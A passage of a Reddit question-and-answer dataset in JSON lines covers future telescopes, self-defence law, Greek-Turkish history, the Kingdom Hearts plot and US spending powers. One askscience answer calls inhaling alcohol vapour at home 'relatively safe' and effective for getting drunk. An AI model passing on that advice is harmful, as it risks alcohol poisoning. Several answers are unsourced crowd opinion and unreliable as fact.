and with a better accuracy. Both are planned to launch 2018. While TESS will find more planets, CHEOPS will start the era of precision measurements of their parameters. [PLATO](_URL_15_), planned for 2026, will be even more powerful, and observe even more stars with an even better accuracy.\n* [ELT](_URL_5_) has been mentioned in two different comments already, but it shouldn't be left out here. With a mirror area as large as the 20 existing telescopes combined and with a much better resolution it can do completely new measurements. It will be able to directly see the light from Earth-like exoplanets nearby (it will look something [like this](_URL_18_), although that particular image is from a different study), which allows spectroscopic measurement to study their atmosphere and sometimes surface composition. With sufficient observation time, it would even be possible to make a very rough map of continents of a potential planet that has these. [Here is a simulation](_URL_6_) how Earth (top) would be reconstructed (bottom), the quality depends on the observation time and the parameters of the observed system.\n* [GMT](_URL_8_) and [TMT](_URL_19_) are two other big telescopes under construction / currently with construction halted. Significantly smaller than ELT, but still much bigger than existing telescopes. They will lead to additional observation time, and they can cover the region of the northern hemisphere ELT cannot look at (as it is south of the equator).\n* [LISA](_URL_17_), currently expected for 2034, will measure gravitational waves in space. The focus is on sources with lower frequencies that Earth-bound detectors cannot measure.\n* [KAGRA](_URL_9_) as Earth-based detector will join LIGO and Virgo soon, [INDIGO](_URL_7_) will join a bit later.  The [Einstein telescope](_URL_4_) is a proposed next-generation detector that would find many events per day or even many per hour instead of a few per year.\n\n... and many more.", "[LISA](_URL_0_) - a space based gravitational wave detector made up of three satellites, millions of killometers apart, beaming lasers at each other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Extremely_Large_Telescope", "https://en.wikipedia.org/wiki/Laser_Interferometer_Space_Antenna"], [], ["https://en.wikipedia.org/wiki/Extremely_Large_Telescope", "https://en.wikipedia.org/wiki/Deep_Underground_Neutrino_Experiment", "https://en.wikipedia.org/wiki/Advanced_Technology_Large-Aperture_Space_Telescope", "https://en.wikipedia.org/wiki/Wide_Field_Infrared_Survey_Telescope", "https://en.wikipedia.org/wiki/Square_Kilometre_Array"], ["https://en.wikipedia.org/wiki/Large_Synoptic_Survey_Telescope"], ["https://en.wikipedia.org/wiki/European_Spallation_Source"], ["https://en.wikipedia.org/wiki/International_Linear_Collider", "https://en.wikipedia.org/wiki/Compact_Linear_Collider", "https://en.wikipedia.org/wiki/Belle_II_experiment", "https://en.wikipedia.org/wiki/Transiting_Exoplanet_Survey_Satellite", "https://en.wikipedia.org/wiki/Einstein_Telescope", "https://en.wikipedia.org/wiki/Extremely_Large_Telescope", "https://www.centauri-dreams.org/wp-content/uploads/2009/05/alienmaps_fig2.jpg", "https://en.wikipedia.org/wiki/Indian_Initiative_in_Gravitational-wave_Observations", "https://en.wikipedia.org/wiki/Giant_Magellan_Telescope", "https://en.wikipedia.org/wiki/KAGRA", "https://en.wikipedia.org/wiki/James_Webb_Space_Telescope", "https://en.wikipedia.org/wiki/Future_Circular_Collider", "https://en.wikipedia.org/wiki/Template:Neutrino_detectors", "https://en.wikipedia.org/wiki/Deep_Underground_Neutrino_Experiment", "https://en.wikipedia.org/wiki/CHEOPS", "https://en.wikipedia.org/wiki/PLATO_(spacecraft\\)", "https://en.wikipedia.org/wiki/Circular_Electron_Positron_Collider", "https://en.wikipedia.org/wiki/Laser_Interferometer_Space_Antenna", "https://exoplanets.nasa.gov/internal_resources/464/", "https://en.wikipedia.org/wiki/Thirty_Meter_Telescope", "https://en.wikipedia.org/wiki/Gaia_(spacecraft\\)"], ["https://lisa.nasa.gov"]]}
{"q_id": "68ojot", "title": "can you legally defend yourself from a bodyguard?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68ojot/eli5_can_you_legally_defend_yourself_from_a/", "answers": {"a_id": ["dh01l9i"], "score": [5], "text": ["[Here's a great ELI5-level guide to self-defense in US law.](_URL_0_)  \n\nIt depends on the specifics surrounding the situation and what you mean by defending yourself.  In general, you can't start the altercation, escalate it, or use an unreasonable amount of force.  Additionally, if you're in a private area, such as briefing room, and a bodyguard asks you to leave, then you are supposed to leave peacefully without hitting anyone. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://lawcomic.net/guide/?p=864"]]}
{"q_id": "1hmqhm", "title": "why is there so much animosity between greeks and turks?", "selftext": "It's often said, and confirmed by a Greek friend of mine, that Greek people supposedly hate Turkish people, and vice versa.  I understand that it's a long story, but would anyone be able to summarise the key points of conflict?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hmqhm/eli5_why_is_there_so_much_animosity_between/", "answers": {"a_id": ["cavtkfm", "cavv0xu", "cavwwok", "cavx4qn"], "score": [3, 28, 2, 2], "text": ["Simply put, Greek culture was at the head of the most powerful empire in the world, and the Turks brought all of that crashing down.", "You're right, it is a long story. But here is a few key aspects that are horrifically over-simplified but should give you a general idea. \n\nIt all started with the Turkish conquest of Anatolia, the land that makes up the majority of modern Turkey, and southeastern Europe, including the area that is now Greece, from the Eastern Roman Empire (aka the Byzantine Empire). The Byzantine capital was Constantinople (now Istanbul), and it was also the center of the Greek Orthodox Church and in 1453 the city was conquered by the Ottoman Empire, thus ending the Byzantine Empire and beginning the Turkish rule over Greeks. It would last for roughly another 400 years and the fact that Turks still rule Istanbul to this day is an issue for some Greeks. \n\nIn 1821, the Greeks rebelled against a weak Ottoman Empire and with the help of various European powers were able to become an independent country. It was a bloody war and there were a lot of massacres of civilians. Greece and the Ottomans would fight several more wars until the collapse of the Ottoman Empire during WWI. \n\nAfter the fall of the Ottoman Empire, Greece (along with the British, Italians, and French) occupied Anatolia. Without going into too much detail, Turks fought another war with the Greeks to force them out. The Turks were successful though in the process a lot of people died or were displaced. A few days after the war, Greek and Armenian sections of the city of Smyrna (now Izmir) burned to the ground. Thousands died and thousands more fled the city by boat. \n\nAfter the Turkish War of Independence, there was a large population exchange between Greece and Turkey, where most of the Turks living in Greece were forced to move to Turkey and most of the Greeks living in Turkey were forced to move to Greece. Now there are only token communities of each in either country.\n\nThe issue of Cyprus is also a cause for the animosity. Long story short, by the 1970s Cyprus was mostly populated by Greeks but with a significant Turkish minority. In 1974 there was a coup in Greece and fearing an attempt by Greece to annex Cyprus, Turkish forces invaded and occupied the northern part of the island (huge simplification). It should be noted that there was a lot violence between the two communities on Cyprus before this, as were there efforts by Greek Cypriots to join Greece and Turkish Cypriots to secede. The northern part was declared its own nation (the Turkish Republic of Northern Cyprus), but it has yet to be recognized by any nation other than Turkey. The island has remained divided to this day and efforts to reunite the two have basically all failed.\n\nIt should be noted that relations between Turkey and Greece have actually improved significantly in the last few decades, mostly due to the fact that both nation suffered from huge earthquakes and they each helped the other out in their time of need. This hasn't erased the animosity between Greeks and Turks, but it has helped normalize relations. \n\n[Wikipedia](_URL_0_) has an article that goes into greater depth for these and many other points of Greco-Turkish Relations. ", "Eh, that's not really true.  The governments and the nationalists of both countries feel the animosity not the regular people. ", "It all started with the Trojan War. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Greek\u2013Turkish_relations"], [], []]}
{"q_id": "15msp9", "title": "What was John Adams' and Hancock's relationship like?  Were they good friends or did they have resentment towards one another?", "selftext": "This [reenactment](_URL_0_) of a letter John Adams wrote got me thinking about this and then I also remember there was a scene (fictitious) in the HBO series John Adams where Adams is shown clearly in opposition of mob violence while John Hancock encourages it.\n\nI know that this scene never happened, but was curious as to whether or not Hancock and Adams did have some animosity towards one another?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15msp9/what_was_john_adams_and_hancocks_relationship/", "answers": {"a_id": ["c7o6ig3"], "score": [2], "text": ["History favors John Adams. He was the lawyer that defended Hancock during the Liverty affair; Adams recommended Washington as the commander and chief of the army at the Continental Congress, not the President of the Continental Congress, John Hancock; and only won 4 electoral votes as a 1789 presidential candidate (those from his home state went to... Adams, of course).\n\nTo most historians, John Adams is remembered as a man with an attitude. Look at his relationship with Jefferson: a difference in political schemes resulted in each using derogatory words toward one another. With that in mind, one can almost definitely assume he used his wit and character in the other relationships in his life.\n\nIn their lives, a couple of things define each: Hancock had a lot more money, and Adams had a lot more brains. To win the war, they needed each other, and they probably knew it. On a personal level, though, they probably didn't think too highly of one another. I've tried to find definite sources on this fact, but you can draw your own conclusions from each other's shortcomings. It may be interesting to consider how Sam Adams may have impacted them, though, but of that I'm not knowledgable of."]}, "title_urls": [], "selftext_urls": ["http://youtu.be/CNNbShYgSfw?t=20m15s"], "answers_urls": [[]]}
{"q_id": "1j3nri", "title": "the story of the kingdom hearts series", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j3nri/eli5_the_story_of_the_kingdom_hearts_series/", "answers": {"a_id": ["cbasp9m", "cbasv8l", "cbat29i", "cbatrmn", "cbau0z0", "cbauyxx", "cbav5wh", "cbawhyx", "cbax5ai", "cbax73m", "cbb1cqd"], "score": [30, 167, 8, 9, 80, 2, 2, 2, 2, 3, 7], "text": ["Kingdom Hearts has a ridiculously convoluted story.\nThere's a video [here](_URL_0_) that explains the timeline of all the games and how they interact.", "First off, here's the chronological order in which the games take place:\n\n* Kingdom Hearts: Birth by Sleep\n* (Ten years go by)\n* Kingdom Hearts\n* Kingdom Hearts: Chain of Memories\n* Kingdom Hearts 358/2 Days (takes place over a span of about a year)\n* Kingdom Hearts II\n* Kingdom Hearts coded\n* Kingdom Hearts 3D: Dream Drop Distance\n* Kingdom Hearts III (upcoming)\n\nHowever, if you're going to play the series, I recommend playing the games in the order they were released, not the chronological order.\n\nI'm going to try to be brief because the story is actually quite complicated. The villain of the series is a man named, Xehanort, who is a former Keyblade Master. He is trying to bring darkness into the worlds by forging a powerful weapon called a \"Chi-Blade.\" In the process of his research, he started working with someone named Ansem the Wise, who discovered the Heartless. The Heartless are beings make of up the darkness in someone's heart.\n\nSora is part of one of the worlds that was overtaken by darkness. He somehow managed to wield a Keyblade and used it to unlock the hearts of all the worlds that had been overtaken by darkness, bringing them back to light. However, at one point, he was turned into a Heartless himself, but the love of his friends brought him back. He ended up defeating Ansem, which is the Heartless form of Xehanort (and not the same person as Ansem the Wise). This is what happened in Kingdom Hearts I.\n\nIn Kingdom Hearts II, a new enemy arose called Nobodies. A Nobody consists of the body and soul of a person who is left behind when their heart becomes a Heartless. When Sora became a Heartless, his Nobody called Roxas was created. Some very powerful Nobodies created an group called Organization XIII, led by Xenmas, the Nobody form of Xehanort. Organization XIII is trying to get their hearts back by creating an artificial Kingdom Hearts. Again, Sora defeats them.\n\nI left out a lot of details, especially from the side games in the series. Let me know if you have any specific questions.", "It's actually a pretty in-depth and complicated story... Gametrailers did a timeline segment of it earlier this year. (I don't have a direct link because I can't access it at the moment, but here is a blog post with the video embedded: _URL_1_)\n\nThe video is longer than 5 minutes, but the watch is entertaining if you have a free hour.\n\nEDIT:: Actual link: _URL_0_", "This video is about an hour long but does a great explanation of the series.\n_URL_0_ ", "Once upon a time far, far away, there was a world where the strongest .warriors used magical weapons called Keyblades. Keyblades have a lot of different powers like freeing or manipulating hearts. Hearts, in this world, are like what people here on Earth would call a soul, only it actually appears like a pink valentine's heart. And one more thing, there is a constant battle between light and dark.\n\nSo one day there was a big war called the Keyblade War, between warriors of both light and dark trying to create a super duper powered Keyblade called the chi-blade (because it sounds like key, get it?). A lot of people died and to prevent more terrible things from happening the world was broken up into many smaller \"worlds that were separated, kind of like the planets in space but still all shared the same sky.\n\nA long time after that happened there was a bad guy called Xehanort who discovered that darkness was losing to light. In response to having such a stupid name, he decided darkness should take over all the light and started to look for ways to take over new bodies so he could live forever, make the chi-blade, and find Kingdom Hearts (which is basically the Triforce from the Legend of Zelda only a giant heart only no one knows exactly what it does). To make the chi-blade he pulls all the darkness out of his apprentice which breaks his apprentice's heart (literally) and some little kid named Sora's heart joins with the apprentice to fix it. Then Xehanort tricks some other guy's apprentice into being a jerk so that Xehanort could take over his body. Ultimately the plan to make the chi-blade failed because the apprentice stopped him and sent his heart to Sora. However, Xehanort did take over the other apprentice's body. So a third apprentice hid the comatose body of the guy with no heart and ended up trapped in a world of darkness after making sure the new Xehanort lost his memory and ability to use a keyblade.\n\nThe new Xehanort was found and became an apprentice to a smart guy named Ansem. Xehanort wanted to study the darkness and what happens when you take hearts from people, but Ansem didn't like that so Xehanort and some other guys trapped him in the world of darkness. Then they did lots of experiments that messed up all the worlds by created creatures called Heartless and Nobodies. Heartless and Nobodies are two sides of the same coin that came from other people/creatures. Heartless were critters of darkness that trapped the heart of the original person and tried to kill other people to take more hearts. Nobodies are shells without hearts. Xehanort and some other guys all turned into 12 powerful Nobodies that were more than simple-minded shells. Xehanort also had a Heartless from this that called itself Ansem.\n\n10 years after Xehanort switching bodies, there are three kids who can use keyblades, but don't know it yet. Sora (who unknowingly has that apprentice's heart), Riku, and Kairi. Riku really wants to leave the world they're on and the Heartless scourge and Ansem find the world and start wrecking it. A special Keyblade finds Sora so he is able to escape but is really worried about Riku and Kairi. So he goes on an adventure with Disney characters to save different worlds from the Heartless with his Keyblade and find his friends. Meanwhile, Riku has been possessed by the fake Ansem and has Kairi's comatose body because her heart also went to Sora. When Riku tells Sora this, Sora releases Kairi's heart and temporarily turns into a Heartless and then turns back to normal after getting a magic Kairi hug. Finally, the fake Ansem leaves Riku and Sora defeats him. Then Riku and Mickey Mouse close a giant literal door that releases Heartless from the world of darkness and get trapped. So Sora goes to look for them, but a magic Nobody made from Kairi takes his memories so he has to sleep for a year to fix it.\n\nMeanwhile, Riku is struggling with the darkness inside him from the fake Ansem's possession and meets the real Ansem who is disguised and they help each other protect Sora and Kairi's Nobody. Also, the 12 Nobodies made by the new Xehanort are trying to make a new Kingdom Hearts using the hearts Sora released by killing Heartless so they can become whole. They find Sora's Nobody, who can also use a Keyblade, that was made when he temporarily was a Heartless and also make a fake Sora that can steal his memories. They have these two work for a year killing Heartless to make Kingdom Hearts, but for Sora to recover they had to merge back into him. The replica realizes this and tries to bring the Nobody there forcefully but is defeated and absorbed. Then Riku and Ansem trick the Nobody into merging with Sora so Sora wakes up.\n\nA newly awakened Sora learns about the 12 powerful Nobodies and travels around to defeat them, save other worlds, and continues to try to find Riku, Kairi, and Mickey. In the process, he learns the truth about Ansem and that the Nobodies are trying to finish Kingdom Hearts because of all the Heartless he is killing. So he travels to the Nobody's base, finds his friends, and defeats all the Nobodies, including Xehanort's Nobody.\n\nWith everything apparently fixed, Mickey summons Sora and Riku to become Keyblade masters and tell them about how Sora has to save the guy who's heart is inside him, the guy Xehanort took over, and the girl stuck in the world of darkness. Meanwhile, Xehanort is back and uses time travel to get a bunch of his other selves to make an evil plan work for once. Sora gets in trouble but is rescued by Riku. So Riku becomes a Keyblade master, Sora doesn't and goes off to have more adventures, and Kairi starts her Keyblade training.\n\nAnd while this was long, I think that's the most straightforward way to explain this convoluted story leading up to KH3 (aka the end of Xehanort being important and the main bad guy), and hopefully even a 5 year old could understand it. Side note: I left out A LOT of details for brevity.", "I'll do the short version.  Xenahort wants to unify the keyblades to unlock the heart of the universe and obtain ultimate power. He tries several different methods ranging from combining the power of other hearts to power one keyblade to mind controlling and puppeteering other keyblade masters into working with him.  Sometimes he's defeated and his shadow does the work, or his Nobody, or a fragment of his soul, etc.\n\nUltimately he fails because despite Sora being fairly naive and useless on his own he has a full supporting cast of people who want him to succeed.  Mickey, Riku, Kairi, Donald, Goofy, and all the other people who vaguely fight for the light rescue him at the last moment very often.  \n\nThe reason for this is because he is in tune with his keyblade more than many others because of his pure heart, thus making him a very powerful champion of light.  He is arguably the greatest keyblade master to ever live, whenever he happens to be actually weilding a keyblade and not falling into traps.", "If you want a rapid summary of the entire series using only pictures and no names that may bog it all down I highly recommend this google doc. It's basically one guy who arranged the story like a picture book.\n\n_URL_0_", "I only played KH1. Do future games include Disney characters, or is it mainly stories about the Organization XIII described here? ", "I feel like [this guy](_URL_0_) could probably sum it up for you.", "What's all included in KH1.5     (I have it pre-ordered)", "Before any of the games' events, a young man named Xehanort, living in the Destiny Islands, is visited by a strange cloaked figure (Potato-sack Man), who tells him he must become strong and journey to other worlds.\n\nA few years later, Yen Sid - a Keyblade Master in the KH universe - has two apprentices - Eraqus and Xehanort. Yen Sid is to Walt Disney what Eraqus is to Squaresoft and Hironobu Sakaguchi (Eraqus even looks like the guy).\n\nUpon the day Eraqus and Xehanort become Keyblade Masters, one of them is chosen to succeed Yen Sid as the head of the order. Xehanort is the superior tactician, swordsman and magic user, so it is thought he would be the successor. But in fact it is Eraqus. Disappointed beyond mere words, Xehanort leaves. He is not heard from for a long time.\n\nThere is a long stretch of time where we have no clue what happens. Xehanort obviously visits other worlds and learns to get rid of his armor - which protects his body from the darkness as he travels across worlds - and becomes \"immune\" to the darkness. He goes on to meet other people in other worlds, and learns more about the nature of the universe and of the darkness. Eraqus becomes the master of The World of Beginnings, and Master Yen Sid retires to his Tower.\n\nA few years before the events in *Birth By Sleep*, Xehanort returns to his home world and encounters a young boy whose heart is equal parts light and darkness. Believing him to be capable of creating the ultimate Keyblade, humorously called the \"Chi-blade\", Xehanort takes him under his wing and trains him into a Keyblade master.\n\nThe Chi-blade is capable of revealing Kingdom Hearts, which is the heart that connects all worlds and all hearts together. A long time ago, the worlds were one and people fought for the Chi Blade and Kingdom Hearts. That conflict brought about the great darkness that nearly swallowed the world. But the light in the hearts of children saved it, and the world that once was split into a countless number of worlds spread across the universe. This is known as the Keyblade war. Xehanort wants to recreate the Keyblade War so he can see for himself how the world split and how the light from children came into being. For that, he's willing to watch countless worlds and people sink into the darkness.\n\nThe boy - named Ventus - is too gentle, and is incapable of making Xehanort's plan come to fruition. So Xehanort artificially splits the boy in half - the darkness portion is given a new vessel (resembling Sora in likeness and voice, but why this is I've never quite understood), and the light portion sticks with the original body. Xehanort will have the two parts of Ventus engage in conflict as a means of recreating the Chi-blade, creating external conflict between two bodies instead of creating internal conflict between two parts of a single body. The dark half is left with Xehanort, and the light half is left with Eraqus. At this point, Eraqus has no idea what's going on, only that the boy must never leave The World of Beginnings.\n\nXehanort then tells Eraqus about his ambitions to recreate the Chi-blade, etc. Eraqus knows this is madness, and tries to stop him, but Xehanort had become ruthless and tore through Eraqus' defenses with the power of darkness. After this they sever ties.\n\nIn the years all these events take place, Mickey Mouse marries Minnie Mouse, becomes the king of Disney Castle (and its parent world, Disney Town), anoints Goofy as the captain of the guard, and names Donald Duck their Wizard. Mickey then undergoes training with Yen Sid at the Tower, with some side-training in swordsmanship and magic taking place in the worlds of France and Fantasia, respectively (see: the events of *Kingdom Hearts 3D*).\n\n\nThe events of Birth By Sleep are as such:\n\nVentus grew up alongside the two primary Mastery candidates - Aqua and Terra - and they formed a close bond. They share these trinkets Aqua made for them before the Mark of Mastery exam, based on the shape of a fruit found on some world out there (The Paopo fruit, found on Destiny Islands) \n\nXehanort - already fascinated with Keyblade Master candidate Terra's sense of urgency (which he sees as a weakness) - chooses to apologize to Eraqus so he could join them for the Mark of Mastery Examination. Xehanort also brings Ventus' dark half, named Vanitas, along for the ride. The two of them spread rumors to Terra and Ventus, respectively, about what will happen to their friends. Terra showed hints of darkness in his duel with Aqua, due in part to Xehanort's meddling (Xehanort really just projected his powers onto Terra, as he expressed to Braig later in the game, thus turning Terra into a self-fulfilling prophecy). Afterwards, Eraqus reports that monsters called the \"Unversed\" are invading the worlds, and it is up to Terra to find Xehanort and investigate. Aqua is told to follow Terra. But Ventus, unwilling to let the two go on their own, decides to follow.\n\nTerra ultimately gains the power of darkness due to some tricky setup by Xehanort, learns of Vanitas, and does his best to protect Ventus and stop Vanitas. At some point Terra meets Sora and Riku on Destiny Islands and senses a great power in Riku, so has him take the keyblade oath.\n\nVentus meets Mickey in combat with Vanitas, and the two of them become friends. Ventus also meets two people in a world called \"Radiant Garden\", populated with Merlin the Wizard, Final Fantasy characters, and several other individuals that become relevant later in the game (royal guards Dilan, Aeleus, and Braig, scientists Even and Ienzo). \n\nEventually Ventus tries to stop Vanitas from killing his friends, but when he finds out who Vanitas is (his \"other half\"), Eraqus realizes what Xehanort's plans are and tries to kill Ventus. Terra returns (due to the scheming of Xehanort) and sends Ventus away, mortally wounding Eraqus in combat once Eraqus sees Terra's heart has taken to darkness (again, Xehanort's manipulations). Eraqus comes to his senses and sends Terra out to find Ventus and stop Xehanort, but just then Xehanort returns, pierces Eraqus with a final blow, and sends The World of Beginnings into the darkness.\n\nAqua picks up the pieces. She arrives at the Radiant Garden and - alongside King Mickey -protects a little girl named Kairi from a batch of Unversed. Kairi touches Aqua's keyblade, accidentally giving her the ability to use a keyblade. Aqua chants a spell on Kairi that will protect her if the darkness tries to reach her again (a spell that, when triggered, sends Kairi to Destiny Islands, unbeknownst to Aqua). She then goes to Destiny Islands, and having seen Riku already having taken the keyblade oath (thanks to Terra), tells his little friend (Sora) that it is his job to protect Riku if anything bad happens to him. Finally, Aqua learns from Yen Sid that Eraqus has died, and later encounters Vanitas in combat.\n\nAt this point, the plot becomes somewhat complicated. (and I forgot to mention, those Unversed originate from Vanitas).\n\nRound 1: Terra vs. Vanitas and Xehanort + Aqua vs. Braig:\n\nThe three keyblade wielders then meet Vanitas and Xehanort. Vanitas separates the three. Aqua tries her hardest to protect Terra and Ventus, but Ventus gets frozen by Xehanort and cast aside, isolating Terra and Xehanort on a plateau. Vanitas and Xehanort fight Terra in combat. Braig pops in to stall Aqua while Xehanort and Vanitas begin the \"heart transplant.\" \n\nRound 2: Terra vs. Xehanort + Ventus vs. Vanitas\n\nAqua is spent, and Xehanort orders Vanitas to meet with Braig below and kill Aqua, leaving Terra to fight Xehanort alone. Vanitas returns to find Ventus has recovered, so the two fight. Terra uses the power of Darkness to overcome and kill Xehanort once and for all, but Xehanort pulls a fast one and shoves his own keyblade into his chest, separating his heart from his body and placing it into Terra's body. Xehanort's heart is much stronger and holds dominion over Terra's body (what fans now call \"Terranort\"). If you played the original Kingdom Hearts, you can clearly see the combination of Terra's form and Xehanort's skin and eyes reveal him to be a young Ansem.\n\nRound 3: Terra's mind vs. \"Terranort\" + Aqua and Mickey vs. Chi-blade Vanitas\n\nTerra, finally realizing what Xehanort's true plan was, uses sheer will of mind to bind himself to his armor, and then fights Terranort one last time. Aqua awakens to find that Vanitas overcame Ventus and also holds the Chi-blade. King Mickey finally makes his way to them and joins Aqua in a final fight. Of course, Mickey and Aqua wins by virtue of Mickey never loses (b/c he's awesome), but this makes the Chi-blade unstable. Terranort loses his battle as well, and is sent into another world (Radiant Garden). Terra's mind and armor remain in the Keyblade Graveyard (the location of the final battles), and Aqua returns to master Yen Sid with the lifeless body of Ventus.\n\nVentus' heart traverses across worlds and is \"adopted\" by none other than a young Sora. This is a key point.\n\nEpilogue:\n\nAqua returns to the World of Beginnings, and turns it into a secure location to house Ventus' body. This is to prevent Xehanort from ever trying to recreate the Chi-blade using Ventus/Vanitas. The Castle is transformed, and anyone who chooses to enter it will slowly have their hearts \"unwound\", slowly losing their memories and relationships with people. At the center is Ventus. By the time a man or woman reaches his room, they won't even remember why they were there, or even who they were. For that reason this place is known as ***Castle Oblivion***.\n\nAqua learns the location of Terra's body, and goes to stop him. A final battle takes place at Radiant Garden, and Terranort falls into the world of darkness upon his defeat. Unwilling to let Terra's body fall into darkness, she falls in after it and sends it with her armor and her world-travelling vehicle back to the closing door. She falls into the Dark Realm where she remains.\n\nthis almost didn't fit!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gametrailers.com/full-episodes/g84vkz/timeline-kingdom-hearts"], [], ["http://www.gametrailers.com/full-episodes/g84vkz/timeline-kingdom-hearts", "http://www.novacrystallis.com/2013/05/gametrailers-kingdom-hearts-timeline-video/"], ["http://www.gametrailers.com/full-episodes/g84vkz/timeline-kingdom-hearts"], [], [], ["https://docs.google.com/file/d/0B8cPyvE2GTjOMzE4MTVlZTctMjE5Yi00YzAzLWJjZTAtZTllODY2OTc2MTMx/edit?hl=en_US&amp;pli=1"], [], ["http://youtu.be/hvDdhgdxeQI"], [], []]}
{"q_id": "15tzid", "title": "Can inhaling alcohol vapors created by dry ice placed in liquor result in intoxication?", "selftext": "I saw an interesting article about people vaporizing alcohol and inhaling it in order to bypass ingestion and send the alcohol straight to the bloodstream. Is there any truth to this method? Could it be a healthier way to ingest ethanol as opposed to drinking? Would there be a more potent effect to a lesser amount of alcohol and a higher risk of alcohol poisoning? \n\nI tried to do some research on my own but I couldn't find any reputable sources that claimed its validity or not. From a physiological or chemical standpoint, is this actually a plausible method of intoxication?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15tzid/can_inhaling_alcohol_vapors_created_by_dry_ice/", "answers": {"a_id": ["c7psh2y", "c7pvrsh", "c7pwfbd"], "score": [9, 4, 2], "text": ["Yes, you can become intoxicated by breathing in ethanol vapor as it is readily absorbed through mucous membranes. This is certainly not 'healthier' as you will get intoxicated faster due to the direct absorption of ethanol into your bloodstream and in fact, this can potentially be dangerous as your body will no longer be able to rely on vomiting to get rid of the ethanol.\n\nThe other method one can use for the rapid uptake of alcohol is through the rectal route by using alcohol enemas (not a good idea for the same reasons as above). Both methods allow the alcohol to bypass the liver, which contains high levels of alcohol dehydrogenase (the enzyme that breaks down alcohol). This consequently eliminates the effect of [first-pass metabolism](_URL_0_) in reducing the concentration of alcohol entering the bloodstream.", "Yes. You can become intoxicated from ethanol vapors. Quite intoxicated. In fact, this is a common experimental paradigm in ethanol research. This is literally what I do everyday!\n\nTo answer your questions, inhalation is very similar to ingestion. That's why we use it! It carries with it the same effects and risks of ingestion, one key difference being that it would go into your blood stream more quickly. After that, it's basically the same.\n\nHere's a good article about experimental design with ethanol vapor:\n\n_URL_0_\n\nDry ice isn't even necessary. As I type this, I'm sitting not 20 feet away from ethanol vapor chambers that work by simply bubbling air through pure ethanol.\n\n*Edit: To clarify, we do this to animals, not to people, because it's generally not difficult to get people to drink liquor. There's no reason it wouldn't work for people, though.*", "You can definitely get intoxicated.  This is one of those things they say \"don't try this at home\" but in reality its very simple to try at home and relatively safe.  You will feel it after the first few whiffs.  Be aware that inhaling straight CO2 will not be good - you are not a plant, you cannot breathe CO2.  It's a very effective way to get drunk - not only because you are absorbing the alcohol through a different metabolic pathway directly into the bloodstream, but you are also in a way distilling the alcohol vapors.  So that even through the vodka in the jar is 40% alcohol, the fumes may be close to 90% alcohol, just like if you were to put a pot of vodka on the stove and start boiling it - the fumes would be higher alcohol concentration than the liquid, because the ethanol is more volatile than the water.  So just be careful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/First_pass_effect"], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2583102/"], []]}
{"q_id": "3hy75j", "title": "How common was it to possess a portrait of the reigning monarch in the late 19th and early 20th century?", "selftext": "In the Netflix series Peaky Blinders the main character Thomas buys all of his neighbors portraits of King George V in burns them in the street to send a message. Would most people in Britain actually have the kings portrait in their homes at the time? If so has this custom persisted or has it largely died out? Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hy75j/how_common_was_it_to_possess_a_portrait_of_the/", "answers": {"a_id": ["cuf9w8t"], "score": [2], "text": ["I was very keen to get an answer to this too, shame no one else answer but I was visiting a museum in the East of England today and supposedly almost every home had a picture of Queen Victoria in those days.\n\nText panel linked below:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/CdLm1cq.jpg"]]}
{"q_id": "ar5xic", "title": "what are the constitutional mechanisms that give congress its spending authority, and is there legal precedent around the looming clash between the presidency and congress on this topic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ar5xic/eli5_what_are_the_constitutional_mechanisms_that/", "answers": {"a_id": ["egl1di9", "egl1vdl", "egl2mau"], "score": [5, 31, 5], "text": ["The first part of Article 1 section 7 of the Constitution:\nAll Bills for raising Revenue shall originate in the House of Representatives; but the Senate may propose or concur with Amendments as on other Bills.\n\nThe house is responsible for starting all budget bills.\n", "Article 1, Section 8 of the US Constitution enumerates specific powers of the US Congress.  The first power listed is the following:\n\n > The Congress shall have power to lay and collect taxes, duties, imposts and excises, to pay the debts and provide for the common defense and general welfare of the United States; but all duties, imposts and excises shall be uniform throughout the United States\n\nThe Constitution specifies that Congress has the power to *collect taxes*, and over the course of US history there has been some debate as to how that money actually gets spent.  Through various debates and several related Supreme Court rulings, it was determined that the power to *raise* money implied the power to *spend* money.\n\nAs to the looming clash - the Attorney General of California was interviewed by NPR today, and he and the interviewer discussed an important point.  While the President has the authority to declare a National Emergency, the definition of \"National Emergency\" is vague.  Therefore it doesn't really matter if Trump admitted that he didn't have to - it's still within his authority to do so.\n\nAs a result, the Attorneys General of several states are currently studying the declaration to determine from which appropriations Trump intends to draw the additional funds that he wants.  That will determine how they build their case against the Administration.", "Article 1, Section 8(1) gives Congress the power to tax and spend.\n\nWhen Congress writes a new law they will occasionally insert a provision that says something to the effect of \"but if the President declares a state of emergency he is entitled to do  < something > .\"\n\nStates of emergency are regulated by the National Emergencies Act (NEA).  Under the NEA, if Congress disagrees with a President's declaration then Congress can pass a normal joint resolution, which will end the emergency *if the President agrees with the resolution and signs it into law.*  If the President doesn't agree with the resolution then it has no power and the state of emergency persists.\n\nAt that point the NEA only allows Congress to override a state of emergency by passing a bill with a 2/3 majority in both houses.  There is no other mechanism whereby a President's determination that a state of emergency exists can be reviewed.\n\nThe funds that are being redirected to the border wall are being done so in accordance with 10 U.S. Code \u00a7 2808(a).  The authority to do that is something that Congress explicitly granted to the President.  Undoing that either requires Congress to act under the NEA with a 2/3 majority to end the declared state of emergency, or for Congress to pass a bill with a 2/3 majority repealing 10 U.S. Code \u00a7 2808(a).\n\nIn any case, preventing funds from being shifted to the border wall requires a 2/3 majority of both houses 